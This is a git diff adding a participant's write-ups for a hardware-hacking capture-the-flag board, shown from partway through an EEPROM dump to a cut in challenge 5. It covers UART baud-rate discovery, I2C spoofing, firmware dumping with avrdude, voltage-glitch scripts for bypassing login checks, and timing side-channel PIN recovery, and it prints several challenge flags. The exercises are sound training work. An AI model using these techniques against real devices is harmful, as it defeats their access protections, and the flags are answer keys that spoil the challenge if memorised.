+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
